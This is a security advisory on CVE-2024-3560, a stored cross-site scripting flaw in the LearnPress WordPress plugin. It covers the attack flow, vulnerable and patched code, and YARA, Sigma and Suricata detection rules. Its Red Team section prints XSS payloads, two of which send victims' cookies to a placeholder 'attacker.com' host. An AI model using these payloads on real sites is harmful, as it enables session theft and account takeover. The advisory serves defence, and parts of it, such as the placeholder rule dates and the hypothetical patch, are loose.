CVE-2024-3560

Executive Summary

CVE-2024-3560 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.2.6.4. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes, specifically the _id value. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim accesses the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the LearnPress plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on site visitors and administrators makes it a significant concern.

Deep Dive & Mechanics

The vulnerability exists in the LearnPress plugin's handling of the _id attribute within shortcodes or custom blocks. When a user with contributor-level access or higher creates or edits a page/post, they can supply a malicious _id value. The plugin fails to properly sanitize this input and escape it before rendering in the browser. This allows an attacker to inject JavaScript code that will be stored in the database and executed when any user (including administrators) views the affected page.

The attack flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new page or edits an existing one.
3. Attacker inserts a LearnPress shortcode or block and sets the _id attribute to a malicious payload, e.g., "><script>alert('XSS')</script>.
4. The payload is stored in the WordPress database.
5. When a victim visits the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.6.4):

// Example of vulnerable output
echo '<div id="' . $attributes['_id'] . '">';

The _id attribute is directly concatenated into the HTML without sanitization or escaping.

Patched Code (Hypothetical):

// Example of patched output
echo '<div id="' . esc_attr($attributes['_id']) . '">';

The esc_attr() function escapes the value, preventing XSS.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with LearnPress <= 4.2.6.4, contributor-level account.
2. Craft Payload: Use a payload like "><img src=x onerror=alert('XSS')> or "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
3. Inject: Edit a page/post, add a LearnPress shortcode/block, and set the _id attribute to the payload.
4. Trigger: Visit the page as any user to execute the script.

Example Payload:

"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Blue Team

1. Detection: Monitor for unusual _id values in LearnPress shortcodes/blocks.
2. Mitigation: Apply input validation and output escaping. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Hunting: Search the database for suspicious _id values containing <script> or onerror attributes.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Host: Unusual JavaScript code in page/post content, specifically in LearnPress shortcode/block attributes.
• Logs: WordPress audit logs showing creation/editing of pages by contributor-level users with suspicious _id values.

Detection Engineering

YARA Rule

rule CVE_2024_3560_LearnPress_XSS {
    meta:
        description = "Detects stored XSS payloads in LearnPress _id attribute"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3560"
    strings:
        $xss1 = /_id["']?\s*=\s*["'][^"']*<script[^>]*>/i
        $xss2 = /_id["']?\s*=\s*["'][^"']*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3560 LearnPress Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via LearnPress _id attribute
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "learnpress"
        http.body|contains|all:
            - "_id"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3560 LearnPress Stored XSS Attempt"; flow:to_server,established; content:"_id"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the LearnPress plugin until a patch is available.
2. Short-term: Restrict contributor-level access to trusted users only. Implement a WAF rule to block XSS patterns in _id attributes.
3. Long-term: Apply the vendor patch when released. Ensure all user-supplied attributes are sanitized and escaped using WordPress functions like esc_attr() and wp_kses().
4. Monitoring: Continuously monitor for suspicious activity and review logs for XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert